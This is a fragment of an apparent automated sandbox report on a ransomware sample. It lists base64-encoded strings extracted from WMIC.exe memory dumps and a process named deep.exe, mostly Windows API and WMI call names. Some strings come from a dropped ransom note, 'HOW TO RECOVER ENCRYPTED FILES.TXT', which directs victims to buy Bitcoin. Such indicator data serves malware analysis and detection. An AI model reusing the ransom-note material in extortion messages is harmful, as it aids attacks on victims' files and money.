Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tcHV0ZXJOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3NJZA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVNpemVFeA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxlSW5mb1c=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxUaW1l","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlQQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmFtZXMoTlVMTCwgV0JFTV9GTEFHX0FMV0FZUyB8IFdCRU1fRkxBR19OT05TWVNURU1fT05MWSwgTlVMTCwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGVmYXVsdFVJTGFuZ3VhZ2U=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZUFzRmlsZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5JbmZvcm1hdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVFeFc=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Z21lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFNldEluZm9ybWF0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SG93IHRvIG9idGFpbiBCaXRjb2lucz8=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucw==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SHR0cERlZmF1bHRFeHBpcnlUaW1lU2Vjcw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXk=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnM=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwgMSwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwgMSwtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwxLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aW5mb3JtYXRpb24=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2U=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SXNvbGF0ZWRDb21tYW5k","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aXN0OjpnZXRfbGVuZ3RoKC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdC0+R2V0T2JqZWN0VGV4dCgwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KCVzLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiJXMiLCAwLCAtLDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19SRUxQQVRIIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiQXV0aG9yaXR5IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiQ29ubmVjdGlvbiIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVmYXVsdCIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVyaXZhdGlvbiIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVzY3JpcHRpb24iLCAwLC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0IiwwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0cyIsIDAsIC0sMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0cyIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRnJpZW5kbHlOYW1lIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRnJvbVZhbHVlIiwwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTG9jYWxlIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZXNwYWNlIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFyYUlkIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFyYW1ldGVycyIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFzc3dvcmQiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUHJvcGVydGllcyIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUHJvcGVydGllcyIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUFdoZXJlIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUXVhbGlmaWVycyIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUXVhbGlmaWVyVmFsdWUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiU2VydmVyIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVGFyZ2V0IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVGV4dCIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVG9WYWx1ZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVHlwZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVXNlciIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVmVyYnMiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVmVyYlR5cGUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0TWV0aG9kKEwiJXMiLCAwLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0TmFtZXMoTlVMTCwgV0JFTV9GTEFHX0FMV0FZUyB8IFdCRU1fRkxBR19OT05TWVNURU1fT05MWSwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0UHJvcGVydHlRdWFsaWZpZXJTZXQoTCIlcyIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLCAtLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLC0sIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6U3Bhd25JbnN0YW5jZSgwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Db250ZXh0OjpTZXRWYWx1ZShMIkV4Y2x1ZGVTeXN0ZW1Qcm9wZXJ0aWVzIiwwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMgbm90IGZvdW5kLiBDb25uZWN0aW5nIHRvIG1zXzQwOSIsIE5VTEwsIE5VTEwsIEwiJXMiLCAwTCwgTCIlcyIsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMiLCBMIiVzIiwgKiwgTCIlcyIsIDBMLCBMIiVzIiwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMiLCBOVUxMLCBOVUxMLCBMIiVzIiwgMEwsIEwiJXMiLCBOVUxMLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1PYmplY3RUZXh0U3JjOjpHZXRUZXh0KDAsIC0sIFdNSV9PQkpFQ1RfVEVYVF9DSU1fRFREXzJfMCwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1RdWFsaWZpZXJTZXQ6OkdldChMIkNJTVRZUEUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1RdWFsaWZpZXJTZXQ6OkdldChMIkNJTVRZUEUiLCAwLCAtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RGVsZXRlQ2xhc3MoTCIlcyIsIDAsIE5VTEwsIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RGVsZXRlSW5zdGFuY2UoTCIlcyIsIDAsIE5VTEwsIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY01ldGhvZChMIiVzIiwgTCIlcyIsIDAsIE5VTEwsIC0sIC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIiwgTCIlcyIsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIiVzIiwgMCwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIlNFTEVDVCAqIEZST00gTVNGVF9DbGlBbGlhcyIsV0JFTV9GTEFHX0ZPUldBUkRfT05MWXxXQkVNX0ZMQUdfUkVUVVJOX0lNTUVESUFURUxZLE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIlNFTEVDVCAqIEZST00gTVNGVF9DbGlUcmFuc2xhdGVUYWJsZSIsV0JFTV9GTEFHX0ZPUldBUkRfT05MWXxXQkVNX0ZMQUdfUkVUVVJOX0lNTUVESUFURUxZLE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfUkVUVVJOX1dCRU1fQ09NUExFVEV8V0JFTV9GTEFHX1VTRV9BTUVOREVEX1FVQUxJRklFUlMsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfVVNFX0FNRU5ERURfUVVBTElGSUVSUywgMCwgTlVMTCwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0Q2xhc3MoLSwgMCwgTlVMTCwgTlVMTCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0SW5zdGFuY2UoLSwgMCwgTlVMTCwgTlVMTCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0SW5zdGFuY2UoLSwgV0JFTV9GTEFHX0NSRUFURV9PTkxZLCBOVUxMLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUF0dHJpYnV0ZTo6cHV0X25vZGVWYWx1ZShMIiVzIik=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlQXR0cmlidXRlKEwiJXMiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlQ0RBVEFTZWN0aW9uKC0sIC0p","type":"Unicode","source":"Hybrid 